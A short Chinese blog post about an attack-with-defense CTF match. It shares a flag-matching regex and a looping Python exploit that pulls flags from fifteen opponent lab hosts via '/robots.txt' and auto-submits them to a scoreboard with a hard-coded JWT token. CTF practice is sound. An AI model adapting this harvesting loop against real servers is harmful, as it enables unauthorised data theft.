好吧我承认是水文
不过确实上周awd有几个洞不会匹配flag有点难受。。
a=re.findall(r'flag.*?}',x)
一个不会写正则的菜鸡的挣扎
测了下健壮性貌似确实能用-。-
补到当时的exp里就应该是这样

import requests,json,time
url=['http://192.168.7.93:20180','http://192.168.7.93:20280','http://192.168.7.93:20480','http://192.168.7.93:20580','http://192.168.7.93:20780','http://192.168.7.93:20880','http://192.168.7.93:20980','http://192.168.7.93:21180','http://192.168.7.93:21280','http://192.168.7.93:21380','http://192.168.7.93:21480','http://192.168.7.93:21580','http://192.168.7.93:21680','http://192.168.7.93:21780','http://192.168.7.93:21880']
payload='/robots.txt'
while True:
    for i in url:
        print(i)
        try:
            b=requests.get(i+payload).text
            x=re.findall(r'flag.*?}',b)
            headers = {'Content-Type': 'application/json;charset=UTF',
                       'UserAuth': 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IlAzcmg0cHMiLCJleHAiOjE1NzU4MzM4MDIsImFkbWluIjpmYWxzZX0.S55xfIUb4sohtMFMAH2_i7tlP76-RMVLO_R26MeQPhs'}
            for a in x:
                data_json = {
                    "flag": a
                }
                #print(i)
                print(json.dumps(data_json))
                url2 = 'http://172.168.1.25:9369/submission/commit'
                res_json = requests.post(url2, data=json.dumps(data_json), headers=headers)
                print(res_json.text)

        except Exception as e:
            print('fail')
            pass
    time.sleep(301)

这次打完比赛确实有点自闭
虽然队友确实准备不充分 不过我也不是一点问题都没有
归根结底还是菜
下次努力

分类: 技术

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注